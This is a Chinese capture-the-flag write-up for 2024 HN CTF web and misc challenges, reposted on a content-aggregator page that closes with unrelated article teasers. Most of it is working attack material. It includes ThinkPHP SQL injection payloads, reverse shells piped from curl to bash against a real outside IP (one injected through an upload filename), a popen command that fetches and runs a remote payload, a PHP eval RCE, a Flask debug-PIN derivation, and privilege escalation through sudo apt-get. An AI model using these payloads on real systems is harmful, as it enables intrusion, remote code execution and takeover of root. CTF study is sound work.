2024 HN CTF WebMisc 部分 wp

Web

ez_tp

判断是thinkphp 3.2
参考官方手册:https://www.kancloud.cn/manual/thinkphp/1697
判断路由模式

  'URL_CASE_INSENSITIVE'  =>  true,   // 默认false 表示URL区分大小写 true则表示不区分大小写

    'URL_MODEL'             =>  1,       // URL访问模式,可选参数0、1、2、3,代表以下四种模式:

    // 0 (普通模式); 1 (PATHINFO 模式); 2 (REWRITE  模式); 3 (兼容模式)  默认为PATHINFO 模式

默认phpinfo模式 走路由模式
类似这种传参

http://serverName/index.php/模块/控制器/操作

Thinkphp3.2.x的SQL注入之前接触过利用数组传参绕过
本地调试可以得到SQL语句

"SELECT `username`,`age` FROM `think_user` WHERE `username` = 'admin' "

解法一:
原理分析参考文章:https://www.freebuf.com/articles/web/345544.html
构造数组传参即可 注意是单引号闭合

name[0]=test&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag

直接打就可以了
解法二:
Runtime有缓存直接就是sql payload(多半测题时没有注意)
image.png

/thinkphp323/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

image.png
发现是可以直接进行union 注入
但是要绕过Waf 本地调试跟踪
(坑点)发现用 谷歌浏览器访问 时User-agent 触发 and关键字被拦截
image.png
此时的 User-Agent:""Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99""
考虑用python发包即可绕过waf
本地打通直接远程

import requests

url="http://hnctf.imxbt.cn:40197/index.php/Home/Index/h_n?name[0]=exp&name[1]=%3d%27J1rrY%27%20union%20select%201,flag%20from%20flag"

#files={'file':open("D:\\flag.txt","rb")}

headers={"Accept":"$get"} #实际没有

res=requests.post(url,headers=headers)

print(res.text)

image.png

ezflask

法一:
当成无回显RCE的题
直接反弹shell

cmd=__import__('os').system("curl 148.135.82.190 | b''a''s''h").read()

curl -T 外带即可
flag 位置:/etc/jaygalf
flag{846c6ed9-2563-4478-9ab1-8a3421a035ab}
法二:Flask 内存马
见笔记 [[Python Flask内存马]]

image.png

Gojava

存在信息泄露 /robots.txt
image.png

可以得到 旧版 main.zip 只有上传部分的逻辑
直接访问 main.go 被禁止
程序 实现了上传 Java 编译 class 打包 jar 返回
可能的后端逻辑

javac 实现编译
jar cvfe 实现打包

考虑直接 命令注入

黑名单处就是考点

为了绕过滤
{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}
尝试$()执行 内链执行

image.png

本地调试跟踪代码发现 filename中 /会截断 不能出现 / 否则截断字符报错
image.png

image.png

可以报错带出
image.png
直接curl 反弹shell

POST /gojava HTTP/1.1
Host: hnctf.yuanshen.life:33630
Content-Length: 346
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvv5bxA5dqzMWAKeU
Origin: http://hnctf.imxbt.cn:46625
Referer: http://hnctf.imxbt.cn:46625/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: GZCTF_Token=CfDJ8KQ4ggNBM-hBh6w4LqiKpqxHK9TcJaeuCyqmvImqaaO3gyj4TD0oOLXpGR0E3Jyocx1vRlRDPogYgJyGtUHLaqof45U1kU9-00K20K7On9ZYEX1qK9AhwHKOjNyvNHOEA1Ve_EYCtB-ILpkpxCjNYNBUZEOlipVQdwM7afZofWT3yhcuV0_xbyhyavsETa8db1ZMsgppzX_yrvwTrofl09egxXwFL0VrHq0f0FNmeg18Yc3xKrgbZrW0zzHOLOtHEsnyva0ocPLH-EzRldy8yfKqqrxKjDNQn0Jsxb7v-4rAQdQZwj0EhHXYcP0i-LBBrjXysJhzVKaA6D-V3GArEfcL-eYuJOgEaxjxxKtnJaMWTbwct3X32Wug7Q2K8fg4l3qQB7CPZBMRqn-5PEu9n7mC4YhL0YH0Od7vLzSdeOnxlZmKwQJAngxaWE6IVER3XRSSkJPFk3TZ0j4Kt0Toiicx114wzlb-wo_OVEMA3nVoATZI75RudP0BC0FrZWmkkpTnEX3Wtap67a9FxBQ5cXRlQ0LUB5ybY2MdETwKDkO_-lVAbAjA5qFZrbrbTq7dMu8smi2CtpFtP_3Vf-27F2zecCX-glrGHwY29Bz4rfx8aQwXNaht4376E2-KgPKAcstHQQ30X7ofu525Rr90TaFh0e08vWKgCy1Hx8nAMcE2BOcDURukaEskUQz8Gro9a0584-XC69dJlf4-As8TtOw
Connection: close

------WebKitFormBoundaryvv5bxA5dqzMWAKeU
Content-Disposition: form-data; name="file"; filename="$(curl 148.135.82.190 | bash)Main.java"
Content-Type: application/octet-stream

public class Main {
    public static void main(String[] args) {
        System.out.println("Hello gojava");
    }
}
------WebKitFormBoundaryvv5bxA5dqzMWAKeU--

直接弹了回来
image.png
看了下main.go 感觉出题人想 /testExecYourJarOnServer

// 执行.jar文件 这里可以直接反弹shell 

    cmd := exec.Command("java", "-jar", jarFile)

感觉非预期了
根目录下存在 memorandum 备忘录
得到字符 H2LvFxnWENLqVxE
image.png
死活提不了权限
最后发现 H2LvFxnWENLqVxE是root的密码
su root
image.png

main.go

package main

import (
        "fmt"
        "io"
        "log"
        "math/rand"
        "mime/multipart"
        "net/http"
        "os"
        "os/exec"
        "path/filepath"
        "strconv"
        "strings"
        "time"
)

var blacklistChars = []rune{'<', '>', '"', '\'', '\\', '?', '*', '{', '}', '\t', '\n', '\r'}

func main() {
        // 设置路由
        http.HandleFunc("/gojava", compileJava)
        http.HandleFunc("/testExecYourJarOnServer", testExecYourJarOnServer)

        // 设置静态文件服务器
        fs := http.FileServer(http.Dir("."))
        http.Handle("/", http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
                // 检查请求的路径是否需要被禁止访问
                if isForbiddenPath(r.URL.Path) {
                        http.Error(w, "Forbidden", http.StatusForbidden)
                        return
                }

                // 否则,继续处理其他请求
                fs.ServeHTTP(w, r)
        }))

        // 启动服务器
        log.Println("Server started on :80")
        log.Fatal(http.ListenAndServe(":80", nil))
}

func isForbiddenPath(path string) bool {
        // 检查路径是否为某个特定文件或文件夹的路径
        // 这里可以根据你的需求进行设置
        forbiddenPaths := []string{
                "/main.go",
                "/upload/",
        }

        // 检查请求的路径是否与禁止访问的路径匹配
        for _, forbiddenPath := range forbiddenPaths {
                if strings.HasPrefix(path, forbiddenPath) {
                        return true
                }
        }

        return false
}

func isFilenameBlacklisted(filename string) bool {
        for _, char := range filename {
                for _, blackChar := range blacklistChars {
                        if char == blackChar {
                                return true
                        }
                }
        }
        return false
}

// compileJava 处理上传并编译Java文件的请求
func compileJava(w http.ResponseWriter, r *http.Request) {
        // 检查请求方法是否为POST
        if r.Method != http.MethodPost {
                http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
                return
        }

        // 解析multipart/form-data格式的表单数据
        err := r.ParseMultipartForm(10 << 20) // 设置最大文件大小为10MB
        if err != nil {
                http.Error(w, "Error parsing form", http.StatusInternalServerError)
                return
        }

        // 从表单中获取上传的文件
        file, handler, err := r.FormFile("file")
        if err != nil {
                http.Error(w, "Error retrieving file", http.StatusBadRequest)
                return
        }
        defer file.Close()

        if isFilenameBlacklisted(handler.Filename) {
                http.Error(w, "Invalid filename: contains blacklisted character", http.StatusBadRequest)
                return
        }

        // 检查文件扩展名是否为.java
        if !strings.HasSuffix(handler.Filename, ".java") {
                http.Error(w, "Invalid file format, please select a .java file", http.StatusBadRequest)
                return
        }

        // 保存上传的文件至./upload文件夹
        err = saveFile(file, "./upload/"+handler.Filename)
        if err != nil {
                http.Error(w, "Error saving file", http.StatusInternalServerError)
                return
        }

        // 生成随机文件名
        rand.Seed(time.Now().UnixNano())
        randomName := strconv.FormatInt(rand.Int63(), 16) + ".jar"

        // 编译Java文件
        cmd := "javac ./upload/" + handler.Filename
        compileCmd := exec.Command("sh", "-c", cmd)
        //compileCmd := exec.Command("javac", "./upload/"+handler.Filename)
        compileOutput, err := compileCmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error compiling Java file: "+string(compileOutput), http.StatusInternalServerError)
                return
        }

        // 将编译后的.class文件打包成.jar文件
        fileNameWithoutExtension := strings.TrimSuffix(handler.Filename, filepath.Ext(handler.Filename))
        jarCmd := exec.Command("jar", "cvfe", "./final/"+randomName, fileNameWithoutExtension, "-C", "./upload", strings.TrimSuffix(handler.Filename, ".java")+".class")
        jarOutput, err := jarCmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error creating JAR file: "+string(jarOutput), http.StatusInternalServerError)
                return
        }

        // 返回编译后的.jar文件的下载链接
        fmt.Fprintf(w, "/final/%s", randomName)
}

// saveFile 保存上传的文件
func saveFile(file multipart.File, filePath string) error {
        // 创建目标文件
        f, err := os.Create(filePath)
        if err != nil {
                return err
        }
        defer f.Close()

        // 将上传的文件内容复制到目标文件中
        _, err = io.Copy(f, file)
        if err != nil {
                return err
        }

        return nil
}

func testExecYourJarOnServer(w http.ResponseWriter, r *http.Request) {
        jarFile := "./final/" + r.URL.Query().Get("jar")

        // 检查是否存在指定的.jar文件
        if !strings.HasSuffix(jarFile, ".jar") {
                http.Error(w, "Invalid jar file format", http.StatusBadRequest)
                return
        }

        if _, err := os.Stat(jarFile); os.IsNotExist(err) {
                http.Error(w, "Jar file not found", http.StatusNotFound)
                return
        }

        // 执行.jar文件 这里可以直接反弹shell 还缺提权
        cmd := exec.Command("java", "-jar", jarFile)
        output, err := cmd.CombinedOutput()
        if err != nil {
                http.Error(w, "Error running jar file: "+string(output), http.StatusInternalServerError)
                return
        }

        // 输出结果
        w.Header().Set("Content-Type", "text/plain")
        w.Write(output)
}

奇怪的网站

后台设置

Apache/2.4.25 (Debian)
PHP/5.6.40 版本较低

扫描后发现 存在

/404.php
/flag.php

/index.png 被当作 php进行解析 修改了默认apache .htaccess配置
存在vim泄露 对应文件名

import requests
chars="abcdefghijklmnopqrstuvwxyz"
for char in chars:
    url =f"http://hnctf.yuanshen.life:33492/.flag.php.sw{char}"
    res=requests.get(url)
    if res.status_code==200:
        print(url)
        break
    else:
        print(res.status_code)

image.png
访问 .flag.php.swm

echo 123;$num = $_GET['n$num = $_GET['num'];$$nu$num = $_GET[$nu$num = $_GET['$num = $_GET['num'];}           return $num == '11259375';        }                }                        return false;                {                if ( ($c >= $a) && ($c <= $b) )                $c = ord($num{$i});        {        for ($i = 0; $i < strlen($num); $i++)        $b = ord('9');        $a = ord('1');{ function check($num)*/you find me!/*

混乱的数据 要先恢复 vim缓存文件

vim -r flag.php
<?php

/*

you find me!

*/

 function check($num)

{

        $a = ord('1');

        $b = ord('9');

        for ($i = 0; $i < strlen($num); $i++)

        {

                $c = ord($num{$i});

                if ( ($c >= $a) && ($c <= $b) )

                {

                        return false;

                }

        }

           return $num == '11259375';

}

$num = $_GET['num'];

搜索关键字段
https://blog.csdn.net/qq_46389295/article/details/104467048
image.png
没p用
浏览器判断 数据包
image.png
首页存在302跳转
提示 :
image.png

image.png
404存在可疑的 头
用bp发包

Secret: After PUT, does the server write the file directly?preflight?
秘密:PUT 之后,服务器会直接写入文件吗?

答案是不会

预请求就是复杂请求(可能对服务器数据产生副作用的HTTP请求方法,如put,delete都会对服务器数据进行更修改,所以要先询问服务器)。

跨域请求中,浏览器自发的发起的预请求,浏览器会查询到两次请求,第一次的请求参数是options,以检测试实际请求是否可以被浏览器接受

考察 尝试更改method方法为 OPTIONS ,可以利用文件读取漏洞,读取.htaccess文件隐藏文件ggggoku.php,进行rce
image.png
可以接受的请求头
模仿 404.php的第一次预请求
image.png

猜测时传参 ?ff
image.png
可以读到源码

<?php
header("Secret:  After PUT, does the server write the file directly?preflight?");
$methodreq = $_SERVER['REQUEST_METHOD'];
if ($methodreq=='OPTIONS'){
    header("Cookie: ?ff");
    $file=$_GET['ff'];
    if(preg_match('/log|flag|session|http|=|file|:|\/|\?/i', $file)||!file_exists($file)){ 
        die('hacker!');
    }
    echo file_get_contents($file);
}

尝试读取 .htaccess文件

<FilesMatch "index.png">
    SetHandler application/x-httpd-php
</FilesMatch>
order deny,allow
RewriteEngine On
RewriteBase /
RewriteRule ^(.*gggoku)\.php$ ggggoku.php [NC]

ggggoku.php

<?php
$a=$_GET['a'];
if (isset($_GET['a'])) {
    if(preg_match('/`/i', $a)){
        die("nonono~~~");
    }
    eval('$b="' . addslashes($_GET['a']) . '";');
} else {
    die('RCE都不会了?');
}

?>

image.png
https://cloud.tencent.com/developer/article/1148417
在PHP语言中,单引号和双引号都可以表示一个字符串,但是 对于双引号来说,可能会对引号内的内容进行二次解释 ,这就可能会出现安全问题。

http://hnctf.yuanshen.life:33514/ggggoku.php?a=${phpinfo()}

PHP复杂变量绕过addslashes()直接拿shell
感觉有点像内联执行 可以不用引号

ggggoku.php?a=${eval($_POST[1])}

有一堆disabled_functions

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,escapeshellarg,escapeshellcmd,passthru,proc_close,proc_get_status,proc_open,shell_exec,mail,imap_open,scandir,putenv,error_log,mail,glob,show_source,include,require.include_once,require_once,opendir,readdir,rewinddir,closedir,stream_get_contents,file_put_contents,readfile,readgzfile,readgzfile,readlink,readgzfile,readgzfile,assert,fopen,fgets,eval,assert,fwrite,file_put_contents,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,symlink,lin,putenv,chroot,chgrp,dl,readlink|

进行正则匹配后发现
popen()命令没有被禁止 尝试

$command="curl 148.135.82.190/2 | bash";
$hane = popen($command,"r");
while(!feof($hane)){        
    echo fread($hane, 1024);  
}  
pclose($hane);

image.png
完美过关 内容见绕过笔记1
image.png

curl直接反弹shell回来
image.png

find / -perm -u=s -type f 2>/dev/null

image.png
唯一可以利用的是su 切换目录

find / -type f -user www-data -readable 2>/dev/null

没找到直接 linpeas信息搜集
image.png
特别注意标红内容

cat /home/admin/passwd

image.png
md5(goku): bef27466a245ce3ec692bd25409c2549
image.png
没有tty 不完整 不可以pty 如何处理

usr/bin/script -qc /bin/bash /dev/null

最终是提权到root superuser 不是admin哦
猜测密码是root的密码
image.png

GPTS

# CVE-2024-31224 RCE 利用分析
按他的步骤弹不起 是修改cookie后刷新在 加载已保存
注意一下是 用字节码可以在Windows上跑到

python3 -c 'import pty;pty.spawn("/bin/sh")'

查看 suid的敏感信息
1)命令 2) 文件
用linpeas信息搜集
image.png
涉及的权限和用户 ctfgame->ctfer->root
image.png
本地的gcc和useful software 命令
image.png
ctfer的密码隐藏在 mail中

find / -type f -user ctfgame -readable 2>/dev/null

查看 当前用户可读的文件也是一种方法
image.png
ctfer : KbsrZrSCVeui#+R
切换到ctfer

su ctfer

查看sudo特权

sudo -l

image.png

sudo adduser test -gid 0

/etc/sudoers 文件可能允许 root 用户组读取,但这并不意味着该组的成员具有与 root 用户相同的完全权限
添加到root用户组后 可以查看查看完整的sudoers
image.png

image.png
kobe用户 有 apt-get sudo 利用
image.png
考虑apt-get 提权
image.png

sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh

此时就是 root用户

image.png

flipPin

考点: cbc翻转+flask pin 码计算
cbc翻转 涉及密码学 只利用脚本
原题溯源: https://www.ctfiot.com/172434.html

from flask import Flask, request, abort
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, Response
from base64 import b64encode, b64decode

import json

default_session = '{"admin": 0, "username": "user1"}'
key = get_random_bytes(AES.block_size)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        res = unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode('utf-8')
        return res
    except Exception as e:
        print(e)

app = Flask(__name__)

filename_blacklist = {
    'self',
    'cgroup',
    'mountinfo',
    'env',
    'flag'
}

@app.route("/")
def index():
    session = request.cookies.get('session')
    if session is None:
        res = Response(
            "welcome to the FlipPIN server try request /hint to get the hint")
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    else:
        return 'have a fun'

@app.route("/hint")
def hint():
    res = Response(open(__file__).read(), mimetype='text/plain')
    return res


@app.route("/read")
def file():

    session = request.cookies.get('session')
    if session is None:
        res = Response("you are not logged in")
        res.set_cookie('session', encrypt(default_session))
        return res
    else:
        plain_session = decrypt(session)
        if plain_session is None:
            return 'don\'t hack me'

        session_data = json.loads(plain_session)

        if session_data['admin'] :
            filename = request.args.get('filename')

            if any(blacklist_str in filename for blacklist_str in filename_blacklist):
                abort(403, description='Access to this file is forbidden.')

            try:
                with open(filename, 'r') as f:
                    return f.read()
            except FileNotFoundError:
                abort(404, description='File not found.')
            except Exception as e:
                abort(500, description=f'An error occurred: {str(e)}')
        else:
            return 'You are not an administrator'






if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9091, debug=True)

访问 /etc/passwd
image.png
当前用户是 ctfUser
传入错误session 使flask报错
image.png

#### /usr/lib/python3.9/site-packages/flask/app.py

/sys/class/net/eth0/address 获取 mac地址

image.png

02:42:ac:11:00:0d

尝试读机器码 存在黑名单

filename_blacklist = {
    'self', # 1 
    'cgroup', # cpuset
    'mountinfo',
    'env',
    'flag'
    # /proc/1/cpuset
}

读取相关文件绕过过滤

  • 过滤了self的时候怎么读 machine-id
    • 其中的self可以用相关进程的pid去替换,其实1就行
  • 过滤 cgroup
    • 用mountinfo或者cpuset
      读取 后半部分 /proc/1/cpuset
      image.png
a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

读取前半部分 /proc/sys/kernel/random/boot_id

9fd11036-6c2e-41c7-bb26-7d358f670070

机器码就是

9fd11036-6c2e-41c7-bb26-7d358f670070a46c709c2b0dec51cc8596b90ff4cfa51dedf414ec23646f4d8430e03c86881f

计算后pin码是 101-622-803
image.png
flag 在环镜变量

Please_RCE_Me

PHP/5.6.40
低版本存在 preg_replace //e 任意命令执行

flag=Please_give_me_flag&task=phpinfo();

查看php的默认配置
array_map或array_filter绕过 做转接头即可

flag=Please_give_me_flag&task=array_map($_POST[1],$_POST[2]);&1=assert&2[]=system("cat /flag");

image.png

Misc

ezjail

import os

banner = r"""
__        __   _       ___            _____   _    ___    _   _  ___   _   _ 
\ \      / /__| | ___ / _ \ _ __ ___ |___ /  | |_ / _ \  | | | |( _ ) | \ | |
 \ \ /\ / / _ \ |/ __| | | | '_ ` _ \  |_ \  | __| | | | | |_| |/ _ \/\  \| |
  \ V  V /  __/ | (__| |_| | | | | | |___) | | |_| |_| | |  _  | (_>  < |\  |
   \_/\_/ \___|_|\___|\___/|_| |_| |_|____/   \__|\___/  |_| |_|\___/\/_| \_|

     _       _ _
    | | __ _/ | |
 _  | |/ _` | | |
| |_| | (_| | | |___
 \___/ \__,_|_|_____|

"""

badwords = ["all", "aiter", "any", "ascii", "bin", "bool", "breakpoint", "callable", "chr", "classmethod", "compile", "dict", "enumerate", "eval", "exec", "filter", "getattr", "globals", "input", "iter",
            "next", "locals", "memoryview", "next", "object", "open", "print", "setattr", "staticmethod", "vars", "__import__", "bytes", "keys", "str", "join", "__dict__", "__dir__", "__getstate__", "upper", "__all__"]

badchars = ['c', 'h', 'j', 'k', 'n', 'o', 'p', 'q', 'u', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
            'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', '\'', '-', '/', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '`', '{', '|', '}', '~', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']




class Jail():
    def __init__(self) -> None:


        print(banner)
        print("Will you be able to read the $FLAG?")
        exec(self.generate_dynamic_code())
        print("type 'hint' to get source code")
        while(1):
            print("> ", end="")
            self.run_code(input())

    def generate_dynamic_code(self):
        dynamic_code = ""
        flag_values = [ 70, 76, 65, 71]
        for i in flag_values:
            dynamic_code += f"self.{chr(i)} = {i}\n"
        return dynamic_code

    def run_code(self, code):
        if code.isascii():
            
            if code == "hint":
                print(open(__file__).read())

            if (all([x not in code for x in badchars]) and
                    all([x not in code for x in badwords])):
                try:
                    exec(code)
                except Exception as e:
                    print(f"something wrong \n{e}")
            else:
                print("Exploiting detected")
        else:
            exit("?¿")



    def test(self):
        print(dir(self))

    def get_var(self, varname):
        print(os.getenv(varname))



Jail()

最终实现 exec(code) 执行Python代码
存在几个没有上的有意思的函数方法

def test(self):
        print(dir(self))

    def get_var(self, varname):
        print(os.getenv(varname))

python中调用类中方法self.方法名

def test(self):
        print(dir(self))

输入 self.test()
image.png
有特别的提示
image.png
1 3 0 2 实际调用 dir(self) 列举了self`可用的属性 以列表形式返回

def get_var(self, varname):
        print(os.getenv(varname))

尝试读取 FLAG 环镜变量构造字符 FLAG

self.get_var(dir(self)[0])

image.png

print(dir(self)[1]) 
F

解决 数字和中括号的问题
[] 可以用属性 __getitems__()代替
可以搜索 bing 发现 __le__等的用法
https://blog.csdn.net/weixin_45081575/article/details/128729856
数字0-3 可以用 富比较构造出 0,1
image.png

image.png
+ 拼接即可

().__ge__(()) 1
().__ne__(()) 0
1302
().__ge__(()) F
().__ge__(())+().__ge__(())+().__ge__(()) L
().__ne__(()) A
().__ge__(())+().__ge__(()) G

dir(self).__getitem__()

dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(()))

image.png
可以成功拼接出FLAG
image.png
本地可以直接打通

self.get_var(dir(self).__getitem__(().__ge__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())+().__ge__(()))+dir(self).__getitem__(().__ne__(()))+dir(self).__getitem__(().__ge__(())+().__ge__(())))

很遗憾 n 被过滤了
无非换一种富比较即可
image.png

().__le__(()) 1 
().__lt__(()) 0
dir(self).__getitem__()
1302

F: dir(self).__getitem__(().__le__(()))
L: dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))
A: dir(self).__getitem__(().__lt__(()))
G: dir(self).__getitem__(().__le__(())+().__le__(()))



self.get_var(dir(self).__getitem__(().__le__(()))+dir(self).__getitem__(().__le__(())+().__le__(())+().__le__(()))+dir(self).__getitem__(().__lt__(()))+dir(self).__getitem__(().__le__(())+().__le__(())))

image.png
官方题解用的是 python匿名函数进行拼接

self.get_var((lambda ab, ad, ae, af, ag, ai, al, am, ar, aaa, at, av, ba, bd, be, bf, bg, bi, bl, bm, br, bs, bt, bv, da, db, de, df, dg, di, dl, dm, ddd, dddd,dda: ad+af+ab+ae)(*dir(self)))
(lambda 对应参数形参: 返回表达式 等价于eval )(* 传入的具体参数实参)  
* 代表解包 
`*`:在函数调用时,`*` 符号用于解包(unpack)一个可迭代对象(如列表、元组等)的元素,并将它们作为单独的参数传递给函数

一个一个返回字符 传入 形参 构造FLAG

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/667958.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【Linux-buildroot,】

Linux-buildroot, ■ buildroot■ 1、简介■ 2、下载■ 2、编译■ 问题一&#xff1a;buildroot 编译的时候会先从网上下载所需的软件源码&#xff0c;下载cmake-3.8.2.tar.gz或下载很慢的情况 ■ buildroot-构建根文件系统■ 1、配置 buildroot■ 2、■ 3、 ■ buildroot-构建…

velero实现备份还原

Velero 是一个开源的 Kubernetes 集群备份和恢复工具&#xff0c;它允许用户轻松安全地备份和恢复他们的 Kubernetes 资源和持久化卷。Velero 由 Kubernetes 的原生 API 驱动&#xff0c;并且与云服务提供商紧密集成&#xff0c;以支持不同的存储解决方案。 helm values文件地…

驾校无线监控系统:实现智能化、数字化与网络化的新篇章

随着科技的飞速发展&#xff0c;无线监控系统在各行各业的应用日益广泛。在驾校领域&#xff0c;无线监控系统的引入不仅提升了学员的学习体验&#xff0c;还显著提高了驾校的管理效率和综合水平。本文将详细探讨驾校无线监控系统的功能、优势及其在提升驾校管理水平方面的具体…

如何看待时间序列与机器学习?

GPT-4o 时间序列与机器学习的关联在于&#xff0c;时间序列数据是一种重要的结构化数据形式&#xff0c;而机器学习则是一种强大的工具&#xff0c;用于从数据中提取有用的模式和信息。在很多实际应用中&#xff0c;时间序列与机器学习可以结合起来&#xff0c;发挥重要作用。…

考研回顾纪录--科软考研失败并调剂兰州大学软件工程专业复试经历

1.背景 本人工作一年后决定考研&#xff0c;遂于2023年4月底离职。5月到家后开始学习。本科东北大学软件工程专业&#xff0c;绩点3.2/5&#xff0c;按照百分制计算是82分。本科纯属混子&#xff0c;只有一个四级551&#xff0c;一个数学竞赛省二等奖&#xff0c;大创学校立项…

Pytorch-Lighting使用教程(MNIST为例)

一、pytorch-lighting简介 1.1 pytorch-lighting是什么 pytorch-lighting&#xff08;简称pl&#xff09;&#xff0c;基于 PyTorch 的框架。它的核心思想是&#xff0c;将学术代码&#xff08;模型定义、前向 / 反向、优化器、验证等&#xff09;与工程代码&#xff08;for-…

Java大厂面试题第2季

一、本课程前提要求和说明 面试题1&#xff1a; 面试题2&#xff1a; 面试题3&#xff1a; 面试题4&#xff1a; 面试题5&#xff1a; 高频最多的常见笔试面试题目 ArrayList HashMap 底层是什么东东 JVM/GC 多线程与高并发 java集合类

移动系统编程-Ionic 页面(Ionic Pages)

Ionic 页面 Ionic 应用程序和大多数移动应用程序使用页面来利用小显示区域。Ionic 源代码结构中&#xff0c;每个页面都在一个单独的目录中&#xff0c;以便将页面的所有信息集中在一起。例如&#xff0c;tabs 启动应用程序在 app 目录中的目录结构如下。请看是否能看到与 Angu…

米博无布洗地机:颠覆清洁体验,引领家庭清洁风尚

在科技日新月异的今天&#xff0c;家庭清洁方式也正在经历着一场翻天覆地的变化。 传统洗地机的诸多痛点 传统的洗地机虽然在一定程度上解放了人们的双手&#xff0c;然而其存在的诸多问题与痛点也随着时间流逝而逐渐凸显&#xff0c;成为了越来越多消费者心中的困扰。 传统洗地…

css网格背景样式

空白内容效果图 在百度页面测试效果 ER图效果 注意&#xff1a;要给div一个宽高 <template><div class"grid-bg"></div> </template><style scoped> .grid-bg {width: 100%;height: 100%;background: url(data:image/svgxml;base…

深入浅出Java多线程

系列文章目录 文章目录 系列文章目录前言一、多线程基础概念介绍线程的状态转换图线程的调度一些常见问题 二、Java 中线程的常用方法介绍Java语言对线程的支持Thread常用的方法三、线程初体验&#xff08;编码示例&#xff09; 前言 前些天发现了一个巨牛的人工智能学习网站&…

LeeCode热题100(爬楼梯)

爬楼梯这个题我断断续续看了不下5遍&#xff0c;哪次看都是懵逼的&#xff0c;就会说是满足动态规划&#xff0c;满足斐波那契数列&#xff0c;也不说为什么。 本文一定让你明白怎么分析这个题的规律&#xff08;利用数学的递推思想来分析&#xff09;&#xff0c;看不懂来打我…

SleepFM:利用对比学习预训练的多模态“睡眠”基础模型

大模型技术论文不断&#xff0c;每个月总会新增上千篇。本专栏精选论文重点解读&#xff0c;主题还是围绕着行业实践和工程量产。若在阅读过程中有些知识点存在盲区&#xff0c;可以回到如何优雅的谈论大模型重新阅读。另外斯坦福2024人工智能报告解读为通识性读物。若对于如果…

Go微服务: 封装nacos-sdk-go的v2版本与应用

概述 基于前文&#xff1a;https://active.blog.csdn.net/article/details/139213323我们基于此SDK提供的API封装一个公共方法来用于生产环境 封装 nacos-sdk-go 我们封装一个 nacos.go 文件, 这个是通用的工具库 package commonimport ("fmt""github.com/nac…

如何查看谁连接到了你的Wi-Fi网络?这里提供几种方法或工具

序言 你知道谁连接到你路由器的Wi-Fi网络吗?查看从路由器或计算机连接到Wi-Fi网络的设备列表,找出答案。 请记住,现在很多设备都可以连接到了你的Wi-Fi,该名单包括笔记本电脑、智能手机、平板电脑、智能电视、机顶盒、游戏机、Wi-Fi打印机等。 使用GlassWire Pro查看连接…

蒙自源六一童趣献礼:纯真餐单,唤醒你的童年味蕾

当岁月的车轮滚滚向前&#xff0c;我们总会怀念那些逝去的时光&#xff0c;尤其是那段纯真无瑕的童年。当六一儿童节来临&#xff0c;心底的那份童趣与回忆总会被轻轻触动。从5月25日起&#xff0c;蒙自源旗下各大门店为所有小朋友&#xff0c;以及那些心怀童真的大人们&#x…

Mac vm虚拟机激活版:VMware Fusion Pro for Mac支持Monterey 1

